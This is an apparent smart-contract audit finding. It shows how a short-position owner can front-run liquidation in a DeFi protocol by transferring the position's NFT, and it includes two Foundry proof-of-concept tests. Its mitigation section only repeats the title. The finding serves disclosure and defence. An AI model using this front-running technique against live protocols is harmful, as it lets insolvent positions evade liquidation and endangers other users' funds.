Vulnerability: Owner of a bad ShortRecord can front-run flagShort calls AND liquidateSecondary and prevent liquidation
Severity: high

Description:
A shorter can keep a unhealthy short position open by minting an NFT of it and front-running attempts to liquidate it with a transfer of this NFT (which transfers the short position to the new owner)\\nA Short Record (SR) is a struct representing a short position that has been opened by a user. It holds different informations, such as how much collateral is backing the short, and how much debt it owe (this ratio is called Collateral Ratio or CR) At any time, any user can flag someone's else SR as "dangerous", if its debt grows too much compared to its collateral. This operation is accessible through `MarginCallPrimaryFacet::flagShort`, which check through the `onlyValidShortRecord` modifier that the SR isn't `Cancelled` If the SR is valid, then its debt/collateral ratio is verified, and if its below a specific threshold, flagged. But that also means that if a SR is considered invalid, it cannot be flagged. And it seems there is a way for the owner of a SR to cancel its SR while still holding the position.\\nThe owner of a SR can mint an NFT to represent it and make it transferable. This is done in 5 steps:\\n`TransferFrom` verify usual stuff regarding the NFT (ownership, allowance, valid receiver...)\\n`LibShortRecord::transferShortRecord` is called\\n`transferShortRecord` verify that SR is not `flagged` nor `Cancelled`\\nSR is deleted (setting its status to Cancelled)\\na new SR is created with same parameters, but owned by the receiver.\\nNow, let's see what would happen if Alice has a SR_1 with a bad CR, and Bob tries to flag it.\\nBob calls flagShorton SR_1, the tx is sent to the mempool\\nAlice is watching the mempool, and don't want her SR to be flagged:\\nShe front-run Bob's tx with a transfer of her SR_1 to another of the addresses she controls\\nNow Bob's tx will be executed after Alice's tx:\\nThe SR_1 is "deleted" and its status set to `Cancelled`\\nBob's tx is executed, and `flagShort` reverts because of the `onlyValidShortRecord`\\nAlice can do this trick again to keep here undercol SR until it can become dangerous\\nBut this is not over:\\nEven when her CR drops dangerously (CR<1.5), `liquidateSecondary` is also DoS'd as it has the same check for `SR.Cancelled`\\nAdd these tests to `ERC721Facet.t.sol` :\\nFront-running flag\\n```\\n function test_audit_frontrunFlagShort() public {\\n  address alice = makeAddr("Alice"); //Alice will front-run Bob's attempt to flag her short\\n  address aliceSecondAddr = makeAddr("AliceSecondAddr");\\n  address bob = makeAddr("Bob"); //Bob will try to flag Alice's short \\n  address randomUser = makeAddr("randomUser"); //regular user who created a bid order\\n  \\n  //A random user create a bid, Alice create a short, which will match with the user's bid\\n  fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, randomUser);\\n  fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, alice);\\n  //Alice then mint the NFT associated to the SR so that it can be transfered\\n  vm.prank(alice);\\n  diamond.mintNFT(asset, Constants.SHORT_STARTING_ID);\\n\\n  //ETH price drops from 4000 to 2666, making Alice's short flaggable because its < LibAsset.primaryLiquidationCR(asset)\\n  setETH(2666 ether);\\n  \\n  // Alice saw Bob attempt to flag her short, so she front-run him and transfer the SR\\n  vm.prank(alice);\\n  diamond.transferFrom(alice, aliceSecondAddr, 1);\\n  \\n  //Bob's attempt revert because the transfer of the short by Alice change the short status to SR.Cancelled\\n  vm.prank(bob);\\n  vm.expectRevert(Errors.InvalidShortId.selector);\\n  diamond.flagShort(asset, alice, Constants.SHORT_STARTING_ID, Constants.HEAD);\\n } \\n```\\n\\nFront-running liquidateSecondary\\n```\\n    function test_audit_frontrunPreventFlagAndSecondaryLiquidation() public {\\n  address alice = makeAddr("Alice"); //Alice will front-run Bob's attempt to flag her short\\n  address aliceSecondAddr = makeAddr("AliceSecondAddr");\\n  address aliceThirdAddr = makeAddr("AliceThirdAddr");\\n  address bob = makeAddr("Bob"); //Bob will try to flag Alice's short \\n  address randomUser = makeAddr("randomUser"); //regular user who created a bid order\\n  \\n  //A random user create a bid, Alice create a short, which will match with the user's bid\\n        fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, randomUser);\\n  fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, alice);\\n  //Alice then mint the NFT associated to the SR so that it can be transfered\\n  vm.prank(alice);\\n        diamond.mintNFT(asset, Constants.SHORT_STARTING_ID);\\n\\n        //set cRatio below 1.1\\n        setETH(700 ether);\\n  \\n  //Alice is still blocking all attempts to flag her short by transfering it to her secondary address by front-running Bob\\n        vm.prank(alice);\\n        diamond.transferFrom(alice, aliceSecondAddr, 1);\\n  vm.prank(bob);\\n  vm.expectRevert(Errors.InvalidShortId.selector);\\n  diamond.flagShort(asset, alice, Constants.SHORT_STARTING_ID, Constants.HEAD);\\n\\n  //Alice  front-run (again// rest of code) Bob and transfers the NFT to a third address she owns\\n  vm.prank(aliceSecondAddr);\\n        diamond.transferFrom(aliceSecondAddr, aliceThirdAddr, 1);\\n\\n  //Bob's try again on the new address, but its attempt revert because the transfer of the short by Alice change the short status to SR.Cancelled\\n  STypes.ShortRecord memory shortRecord = getShortRecord(aliceSecondAddr, Constants.SHORT_STARTING_ID);\\n  depositUsd(bob, shortRecord.ercDebt);\\n        vm.expectRevert(Errors.MarginCallSecondaryNoValidShorts.selector);\\n  liquidateErcEscrowed(aliceSecondAddr, Constants.SHORT_STARTING_ID, DEFAULT_AMOUNT, bob);\\n    }\\n```\\n

Impact:
Because of this, a shorter could maintain the dangerous position (or multiple dangerous positions), while putting the protocol at risk.

Recommended mitigation:
Owner of a bad ShortRecord can front-run flagShort calls AND liquidateSecondary and prevent liquidation